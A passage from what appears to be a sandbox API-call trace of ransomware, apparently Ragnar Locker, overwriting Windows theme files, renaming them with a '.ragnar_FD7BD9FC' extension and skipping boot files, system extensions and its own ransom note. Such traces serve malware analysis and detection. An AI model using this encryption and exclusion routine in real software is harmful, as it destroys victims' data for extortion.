lpOverlapped=0x0) returned 1 [0075.342] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.342] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.342] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.343] GetProcessHeap () returned 0x580000 [0075.343] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.343] CloseHandle (hObject=0x10c) returned 1 [0075.343] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" [0075.343] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.343] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.346] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0075.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.346] lstrcpyW (in: lpString1=0x1eab6a, lpString2="QUAD.ELM" | out: lpString1="QUAD.ELM") returned="QUAD.ELM" [0075.346] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM") returned=".ELM" [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="autorun.inf") returned 1 [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="boot.ini") returned 1 [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="bootfont.bin") returned 1 [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="bootsect.bak") returned 1 [0075.346] lstrcmpiW (lpString1="QUAD.ELM", lpString2="bootmgr") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="bootmgr.efi") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="bootmgfw.efi") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="desktop.ini") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="iconcache.db") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="ntldr") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="ntuser.dat") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="ntuser.dat.log") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="ntuser.ini") returned 1 [0075.347] lstrcmpiW (lpString1="QUAD.ELM", lpString2="thumbs.db") returned -1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.347] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0075.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0075.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.348] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=48039) returned 1 [0075.348] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbb9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.348] GetProcessHeap () returned 0x580000 [0075.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.348] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.350] VirtualAlloc (lpAddress=0x0, dwSize=0xbba7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.350] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.350] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.350] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbba7, lpOverlapped=0x0) returned 1 [0075.352] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.352] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbba7, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.352] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbba7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbba7, lpOverlapped=0x0) returned 1 [0075.352] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbba7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.352] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.353] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbba7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.353] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.353] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.355] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.355] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.355] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.356] GetProcessHeap () returned 0x580000 [0075.356] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.356] CloseHandle (hObject=0x10c) returned 1 [0075.356] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" [0075.356] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.ragnar_FD7BD9FC" [0075.356] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.359] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0075.359] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.359] lstrcpyW (in: lpString1=0x1eab6a, lpString2="QUAD.INF" | out: lpString1="QUAD.INF") returned="QUAD.INF" [0075.359] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF") returned=".INF" [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="autorun.inf") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="boot.ini") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="bootfont.bin") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="bootsect.bak") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="bootmgr") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="bootmgr.efi") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="bootmgfw.efi") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="desktop.ini") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="iconcache.db") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="ntldr") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="ntuser.dat") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="ntuser.dat.log") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="ntuser.ini") returned 1 [0075.359] lstrcmpiW (lpString1="QUAD.INF", lpString2="thumbs.db") returned -1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.360] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf")) returned 0x20 [0075.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.361] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=600) returned 1 [0075.362] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.362] GetProcessHeap () returned 0x580000 [0075.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.362] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.362] VirtualAlloc (lpAddress=0x0, dwSize=0x258, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.363] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.363] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.363] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x258, lpOverlapped=0x0) returned 1 [0075.363] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.363] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x258, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.363] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x258, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x258, lpOverlapped=0x0) returned 1 [0075.363] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x258, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.363] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.363] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.363] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.363] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.363] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.364] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.364] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.364] GetProcessHeap () returned 0x580000 [0075.364] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.364] CloseHandle (hObject=0x10c) returned 1 [0075.364] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" [0075.364] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.ragnar_FD7BD9FC" [0075.364] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.364] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f228cc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.364] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.365] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.365] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.365] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.365] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.365] lstrcpyW (in: lpString1=0x1eab6a, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.365] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned=".PNG" [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.365] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.365] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0075.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.366] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=37112) returned 1 [0075.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x90ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.366] GetProcessHeap () returned 0x580000 [0075.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.366] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.367] VirtualAlloc (lpAddress=0x0, dwSize=0x90f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.368] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.368] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.368] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x90f8, lpOverlapped=0x0) returned 1 [0075.370] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.370] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x90f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.370] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x90f8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x90f8, lpOverlapped=0x0) returned 1 [0075.371] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 